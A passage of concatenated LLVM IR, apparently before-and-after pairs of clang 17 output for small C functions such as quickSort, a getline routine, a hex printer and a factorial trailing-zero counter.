i64 %98, ptr %34, align 8 %99 = getelementptr inbounds float, ptr %96, i64 %97 %100 = load float, ptr %99, align 4 %101 = load double, ptr %31, align 8 %102 = load double, ptr %32, align 8 %103 = load double, ptr %33, align 8 %104 = load i64, ptr %30, align 8 %105 = call i32 @InterpolatedGradX3DTranMirr(ptr noundef %92, double noundef %93, double noundef %94, double noundef %95, float noundef %100, double noundef %101, double noundef %102, double noundef %103, i64 noundef %104) br label %106 106: ; preds = %73 %107 = load i64, ptr %35, align 8 %108 = add nsw i64 %107, 1 store i64 %108, ptr %35, align 8 %109 = load i64, ptr %35, align 8 %110 = load i64, ptr %18, align 8 %111 = icmp slt i64 %109, %110 br i1 %111, label %73, label %._crit_edge3, !llvm.loop !8 ._crit_edge3: ; preds = %106 br label %112 112: ; preds = %._crit_edge3, %69 br label %113 113: ; preds = %112 %114 = load i64, ptr %36, align 8 %115 = add nsw i64 %114, 1 store i64 %115, ptr %36, align 8 %116 = load i64, ptr %36, align 8 %117 = load i64, ptr %19, align 8 %118 = icmp slt i64 %116, %117 br i1 %118, label %69, label %._crit_edge6, !llvm.loop !9 ._crit_edge6: ; preds = %113 br label %119 119: ; preds = %._crit_edge6, %65 br label %120 120: ; preds = %119 %121 = load i64, ptr %37, align 8 %122 = add nsw i64 %121, 1 store i64 %122, ptr %37, align 8 %123 = load i64, ptr %37, align 8 %124 = load i64, ptr %20, align 8 %125 = icmp slt i64 %123, %124 br i1 %125, label %65, label %._crit_edge9, !llvm.loop !10 ._crit_edge9: ; preds = %120 br label %126 126: ; preds = %._crit_edge9, %61 store i64 0, ptr %34, align 8 %127 = load i64, ptr %34, align 8 %128 = sitofp i64 %127 to double %129 = load double, ptr %21, align 8 %130 = load double, ptr %24, align 8 %131 = fmul double %129, %130 %132 = load double, ptr %27, align 8 %133 = fmul double %131, %132 %134 = fcmp olt double %128, %133 br i1 %134, label %.lr.ph11, label %158 .lr.ph11: ; preds = %126 br label %135 135: ; preds = %.lr.ph11, %147 %136 = load ptr, ptr %16, align 8 %137 = load i64, ptr %34, align 8 %138 = getelementptr inbounds float, ptr %136, i64 %137 %139 = load float, ptr %138, align 4 %140 = fpext float %139 to double %141 = load double, ptr %23, align 8 %142 = fdiv double %140, %141 %143 = fptrunc double %142 to float %144 = load ptr, ptr %16, align 8 %145 = load i64, ptr %34, align 8 %146 = getelementptr inbounds float, ptr %144, i64 %145 store float %143, ptr %146, align 4 br label %147 147: ; preds = %135 %148 = load i64, ptr %34, align 8 %149 = add nsw i64 %148, 1 store i64 %149, ptr %34, align 8 %150 = load i64, ptr %34, align 8 %151 = sitofp i64 %150 to double %152 = load double, ptr %21, align 8 %153 = load double, ptr %24, align 8 %154 = fmul double %152, %153 %155 = load double, ptr %27, align 8 %156 = fmul double %154, %155 %157 = fcmp olt double %151, %156 br i1 %157, label %135, label %._crit_edge12, !llvm.loop !11 ._crit_edge12: ; preds = %147 br label %158 158: ; preds = %._crit_edge12, %126 ret void } declare i32 @InterpolatedGradX3DTranMirr(ptr noundef, double noundef, double noundef, double noundef, float noundef, double noundef, double noundef, double noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7} !11 = distinct !{!11, !7}
; ModuleID = '/tmp/tmpe3uvtz9k.c' source_filename = "/tmp/tmpe3uvtz9k.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EOF = dso_local global i8 0, align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @getline_my(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i32, align 4 %4 = alloca i8, align 1 %5 = alloca i8, align 1 store ptr %0, ptr %2, align 8 store i32 0, ptr %3, align 4 store i8 0, ptr %4, align 1 store i8 0, ptr %5, align 1 %6 = call signext i8 (...) @getch() store i8 %6, ptr %5, align 1 store i8 0, ptr %4, align 1 br label %7 7: ; preds = %33, %1 %8 = load i8, ptr %4, align 1 %9 = sext i8 %8 to i32 %10 = icmp eq i32 %9, 0 br i1 %10, label %11, label %34 11: ; preds = %7 %12 = load i8, ptr %5, align 1 %13 = sext i8 %12 to i32 %14 = load i8, ptr @EOF, align 1 %15 = sext i8 %14 to i32 %16 = icmp eq i32 %13, %15 br i1 %16, label %21, label %17 17: ; preds = %11 %18 = load i8, ptr %5, align 1 %19 = sext i8 %18 to i32 %20 = icmp eq i32 %19, 10 br i1 %20, label %21, label %26 21: ; preds = %17, %11 store i8 1, ptr %4, align 1 %22 = load ptr, ptr %2, align 8 %23 = getelementptr inbounds i8, ptr %22, i32 1 store ptr %23, ptr %2, align 8 %24 = load i8, ptr %22, align 1 %25 = load ptr, ptr %2, align 8 store i8 0, ptr %25, align 1 br label %33 26: ; preds = %17 %27 = load i8, ptr %5, align 1 %28 = load ptr, ptr %2, align 8 %29 = getelementptr inbounds i8, ptr %28, i32 1 store ptr %29, ptr %2, align 8 store i8 %27, ptr %28, align 1 %30 = call signext i8 (...) @getch() store i8 %30, ptr %5, align 1 %31 = load i32, ptr %3, align 4 %32 = add nsw i32 %31, 1 store i32 %32, ptr %3, align 4 br label %33 33: ; preds = %26, %21 br label %7, !llvm.loop !6 34: ; preds = %7 %35 = load i32, ptr %3, align 4 ret i32 %35 } declare signext i8 @getch(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpe3uvtz9k.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @EOF = dso_local global i8 0, align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @getline_my(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i32, align 4 %4 = alloca i8, align 1 %5 = alloca i8, align 1 store ptr %0, ptr %2, align 8 store i32 0, ptr %3, align 4 store i8 0, ptr %4, align 1 store i8 0, ptr %5, align 1 %6 = call signext i8 (...) @getch() store i8 %6, ptr %5, align 1 store i8 0, ptr %4, align 1 %7 = load i8, ptr %4, align 1 %8 = sext i8 %7 to i32 %9 = icmp eq i32 %8, 0 br i1 %9, label %.lr.ph, label %36 .lr.ph: ; preds = %1 br label %10 10: ; preds = %.lr.ph, %32 %11 = load i8, ptr %5, align 1 %12 = sext i8 %11 to i32 %13 = load i8, ptr @EOF, align 1 %14 = sext i8 %13 to i32 %15 = icmp eq i32 %12, %14 br i1 %15, label %20, label %16 16: ; preds = %10 %17 = load i8, ptr %5, align 1 %18 = sext i8 %17 to i32 %19 = icmp eq i32 %18, 10 br i1 %19, label %20, label %25 20: ; preds = %16, %10 store i8 1, ptr %4, align 1 %21 = load ptr, ptr %2, align 8 %22 = getelementptr inbounds i8, ptr %21, i32 1 store ptr %22, ptr %2, align 8 %23 = load i8, ptr %21, align 1 %24 = load ptr, ptr %2, align 8 store i8 0, ptr %24, align 1 br label %32 25: ; preds = %16 %26 = load i8, ptr %5, align 1 %27 = load ptr, ptr %2, align 8 %28 = getelementptr inbounds i8, ptr %27, i32 1 store ptr %28, ptr %2, align 8 store i8 %26, ptr %27, align 1 %29 = call signext i8 (...) @getch() store i8 %29, ptr %5, align 1 %30 = load i32, ptr %3, align 4 %31 = add nsw i32 %30, 1 store i32 %31, ptr %3, align 4 br label %32 32: ; preds = %25, %20 %33 = load i8, ptr %4, align 1 %34 = sext i8 %33 to i32 %35 = icmp eq i32 %34, 0 br i1 %35, label %10, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %32 br label %36 36: ; preds = %._crit_edge, %1 %37 = load i32, ptr %3, align 4 ret i32 %37 } declare signext i8 @getch(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp9e632h1n.c' source_filename = "/tmp/tmp9e632h1n.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @quickSort(ptr noundef %0, i64 noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca i64, align 8 %6 = alloca i64, align 8 %7 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store i64 %1, ptr %5, align 8 store i64 %2, ptr %6, align 8 %8 = load i64, ptr %6, align 8 %9 = load i64, ptr %5, align 8 %10 = sub nsw i64 %8, %9 %11 = icmp slt i64 %10, 10 br i1 %11, label %12, label %17 12: ; preds = %3 %13 = load ptr, ptr %4, align 8 %14 = load i64, ptr %5, align 8 %15 = load i64, ptr %6, align 8 %16 = call i32 @insertionSort(ptr noundef %13, i64 noundef %14, i64 noundef %15) br label %34 17: ; preds = %3 %18 = load i64, ptr %5, align 8 %19 = load i64, ptr %6, align 8 %20 = icmp slt i64 %18, %19 br i1 %20, label %21, label %34 21: ; preds = %17 %22 = load ptr, ptr %4, align 8 %23 = load i64, ptr %5, align 8 %24 = load i64, ptr %6, align 8 %25 = call i64 @partition(ptr noundef %22, i64 noundef %23, i64 noundef %24) store i64 %25, ptr %7, align 8 %26 = load ptr, ptr %4, align 8 %27 = load i64, ptr %5, align 8 %28 = load i64, ptr %7, align 8 %29 = sub nsw i64 %28, 1 call void @quickSort(ptr noundef %26, i64 noundef %27, i64 noundef %29) %30 = load ptr, ptr %4, align 8 %31 = load i64, ptr %7, align 8 %32 = add nsw i64 %31, 1 %33 = load i64, ptr %6, align 8 call void @quickSort(ptr noundef %30, i64 noundef %32, i64 noundef %33) br label %34 34: ; preds = %12, %21, %17 ret void } declare i32 @insertionSort(ptr noundef, i64 noundef, i64 noundef) #1 declare i64 @partition(ptr noundef, i64 noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp9e632h1n.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @quickSort(ptr noundef %0, i64 noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca i64, align 8 %6 = alloca i64, align 8 %7 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store i64 %1, ptr %5, align 8 store i64 %2, ptr %6, align 8 %8 = load i64, ptr %6, align 8 %9 = load i64, ptr %5, align 8 %10 = sub nsw i64 %8, %9 %11 = icmp slt i64 %10, 10 br i1 %11, label %12, label %17 12: ; preds = %3 %13 = load ptr, ptr %4, align 8 %14 = load i64, ptr %5, align 8 %15 = load i64, ptr %6, align 8 %16 = call i32 @insertionSort(ptr noundef %13, i64 noundef %14, i64 noundef %15) br label %34 17: ; preds = %3 %18 = load i64, ptr %5, align 8 %19 = load i64, ptr %6, align 8 %20 = icmp slt i64 %18, %19 br i1 %20, label %21, label %34 21: ; preds = %17 %22 = load ptr, ptr %4, align 8 %23 = load i64, ptr %5, align 8 %24 = load i64, ptr %6, align 8 %25 = call i64 @partition(ptr noundef %22, i64 noundef %23, i64 noundef %24) store i64 %25, ptr %7, align 8 %26 = load ptr, ptr %4, align 8 %27 = load i64, ptr %5, align 8 %28 = load i64, ptr %7, align 8 %29 = sub nsw i64 %28, 1 call void @quickSort(ptr noundef %26, i64 noundef %27, i64 noundef %29) %30 = load ptr, ptr %4, align 8 %31 = load i64, ptr %7, align 8 %32 = add nsw i64 %31, 1 %33 = load i64, ptr %6, align 8 call void @quickSort(ptr noundef %30, i64 noundef %32, i64 noundef %33) br label %34 34: ; preds = %21, %17, %12 ret void } declare i32 @insertionSort(ptr noundef, i64 noundef, i64 noundef) #1 declare i64 @partition(ptr noundef, i64 noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp7gsw1q74.c' source_filename = "/tmp/tmp7gsw1q74.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp7gsw1q74.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp9rqwerjl.c' source_filename = "/tmp/tmp9rqwerjl.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.1 = private unnamed_addr constant [4 x i8] c"%ld\00", align 1 @.str.2 = private unnamed_addr constant [5 x i8] c"%ld\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i64, align 8 %4 = alloca i64, align 8 store i32 0, ptr %1, align 4 %5 = call i32 (ptr, ...) @scanf(ptr noundef @.str, ptr noundef %2) br label %6 6: ; preds = %30, %0 %7 = load i32, ptr %2, align 4 %8 = add nsw i32 %7, -1 store i32 %8, ptr %2, align 4 %9 = icmp ne i32 %7, 0 br i1 %9, label %10, label %33 10: ; preds = %6 store i64 0, ptr %3, align 8 %11 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %4) %12 = load i64, ptr %4, align 8 %13 = icmp sgt i64 1, %12 br i1 %13, label %14, label %15 14: ; preds = %10 store i32 0, ptr %1, align 4 br label %34 15: ; preds = %10 %16 = load i64, ptr %4, align 8 %17 = icmp sgt i64 %16, 1000000000 br i1 %17, label %18, label %19 18: ; preds = %15 store i32 0, ptr %1, align 4 br label %34 19: ; preds = %15 br label %20 20: ; preds = %24, %19 %21 = load i64, ptr %4, align 8 %22 = sdiv i64 %21, 5 %23 = icmp ne i64 %22, 0 br i1 %23, label %24, label %30 24: ; preds = %20 %25 = load i64, ptr %4, align 8 %26 = sdiv i64 %25, 5 store i64 %26, ptr %4, align 8 %27 = load i64, ptr %4, align 8 %28 = load i64, ptr %3, align 8 %29 = add nsw i64 %28, %27 store i64 %29, ptr %3, align 8 br label %20, !llvm.loop !6 30: ; preds = %20 %31 = load i64, ptr %3, align 8 %32 = call i32 @printf(ptr noundef @.str.2, i64 noundef %31) br label %6, !llvm.loop !8 33: ; preds = %6 store i32 0, ptr %1, align 4 br label %34 34: ; preds = %33, %18, %14 %35 = load i32, ptr %1, align 4 ret i32 %35 } declare i32 @scanf(ptr noundef, ...) #1 declare i32 @printf(ptr noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp9rqwerjl.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.1 = private unnamed_addr constant [4 x i8] c"%ld\00", align 1 @.str.2 = private unnamed_addr constant [5 x i8] c"%ld\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i64, align 8 %4 = alloca i64, align 8 store i32 0, ptr %1, align 4 %5 = call i32 (ptr, ...) @scanf(ptr noundef @.str, ptr noundef %2) %6 = load i32, ptr %2, align 4 %7 = add nsw i32 %6, -1 store i32 %7, ptr %2, align 4 %8 = icmp ne i32 %6, 0 br i1 %8, label %.lr.ph2, label %37 .lr.ph2: ; preds = %0 br label %9 9: ; preds = %.lr.ph2, %31 store i64 0, ptr %3, align 8 %10 = call i32 (ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %4) %11 = load i64, ptr %4, align 8 %12 = icmp sgt i64 1, %11 br i1 %12, label %13, label %14 13: ; preds = %9 store i32 0, ptr %1, align 4 br label %38 14: ; preds = %9 %15 = load i64, ptr %4, align 8 %16 = icmp sgt i64 %15, 1000000000 br i1 %16, label %17, label %18 17: ; preds = %14 store i32 0, ptr %1, align 4 br label %38 18: ; preds = %14 %19 = load i64, ptr %4, align 8 %20 = sdiv i64 %19, 5 %21 = icmp ne i64 %20, 0 br i1 %21, label %.lr.ph, label %31 .lr.ph: ; preds = %18 br label %22 22: ; preds = %.lr.ph, %22 %23 = load i64, ptr %4, align 8 %24 = sdiv i64 %23, 5 store i64 %24, ptr %4, align 8 %25 = load i64, ptr %4, align 8 %26 = load i64, ptr %3, align 8 %27 = add nsw i64 %26, %25 store i64 %27, ptr %3, align 8 %28 = load i64, ptr %4, align 8 %29 = sdiv i64 %28, 5 %30 = icmp ne i64 %29, 0 br i1 %30, label %22, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %22 br label %31 31: ; preds = %._crit_edge, %18 %32 = load i64, ptr %3, align 8 %33 = call i32 @printf(ptr noundef @.str.2, i64 noundef %32) %34 = load i32, ptr %2, align 4 %35 = add nsw i32 %34, -1 store i32 %35, ptr %2, align 4 %36 = icmp ne i32 %34, 0 br i1 %36, label %9, label %._crit_edge3, !llvm.loop !8 ._crit_edge3: ; preds = %31 br label %37 37: ; preds = %._crit_edge3, %0 store i32 0, ptr %1, align 4 br label %38 38: ; preds = %37, %17, %13 %39 = load i32, ptr %1, align 4 ret i32 %39 } declare i32 @scanf(ptr noundef, ...) #1 declare i32 @printf(ptr noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '/tmp/tmpgd47easp.c' source_filename = "/tmp/tmpgd47easp.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpgd47easp.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmps90yx8no.c' source_filename = "/tmp/tmps90yx8no.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @__const.puth2.c = private unnamed_addr constant [17 x i8] c"0123456789abcdef\00", align 16 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @puth2(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca [17 x i8], align 16 %4 = alloca i32, align 4 store i32 %0, ptr %2, align 4 call void @llvm.memcpy.p0.p0.i64(ptr align 16 %3, ptr align 16 @__const.puth2.c, i64 17, i1 false) store i32 4, ptr %4, align 4 br label %5 5: ; preds = %17, %1 %6 = load i32, ptr %4, align 4 %7 = icmp ne i32 %6, -4 br i1 %7, label %8, label %20 8: ; preds = %5 %9 = load i32, ptr %2, align 4 %10 = load i32, ptr %4, align 4 %11 = lshr i32 %9, %10 %12 = and i32 %11, 15 %13 = zext i32 %12 to i64 %14 = getelementptr inbounds [17 x i8], ptr %3, i64 0, i64 %13 %15 = load i8, ptr %14, align 1 %16 = call i32 @putch(i8 noundef signext %15) br label %17 17: ; preds = %8 %18 = load i32, ptr %4, align 4 %19 = sub nsw i32 %18, 4 store i32 %19, ptr %4, align 4 br label %5, !llvm.loop !6 20: ; preds = %5 ret void } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1 declare i32 @putch(i8 noundef signext) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmps90yx8no.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @__const.puth2.c = private unnamed_addr constant [17 x i8] c"0123456789abcdef\00", align 16 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @puth2(i32 noundef %0) #0 { %2 = alloca i32, align 4 %3 = alloca [17 x i8], align 16 %4 = alloca i32, align 4 store i32 %0, ptr %2, align 4 call void @llvm.memcpy.p0.p0.i64(ptr align 16 %3, ptr align 16 @__const.puth2.c, i64 17, i1 false) store i32 4, ptr %4, align 4 %5 = load i32, ptr %4, align 4 %6 = icmp ne i32 %5, -4 br i1 %6, label %.lr.ph, label %21 .lr.ph: ; preds = %1 br label %7 7: ; preds = %.lr.ph, %16 %8 = load i32, ptr %2, align 4 %9 = load i32, ptr %4, align 4 %10 = lshr i32 %8, %9 %11 = and i32 %10, 15 %12 = zext i32 %11 to i64 %13 = getelementptr inbounds [17 x i8], ptr %3, i64 0, i64 %12 %14 = load i8, ptr %13, align 1 %15 = call i32 @putch(i8 noundef signext %14) br label %16 16: ; preds = %7 %17 = load i32, ptr %4, align 4 %18 = sub nsw i32 %17, 4 store i32 %18, ptr %4, align 4 %19 = load i32, ptr %4, align 4 %20 = icmp ne i32 %19, -4 br i1 %20, label %7, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds 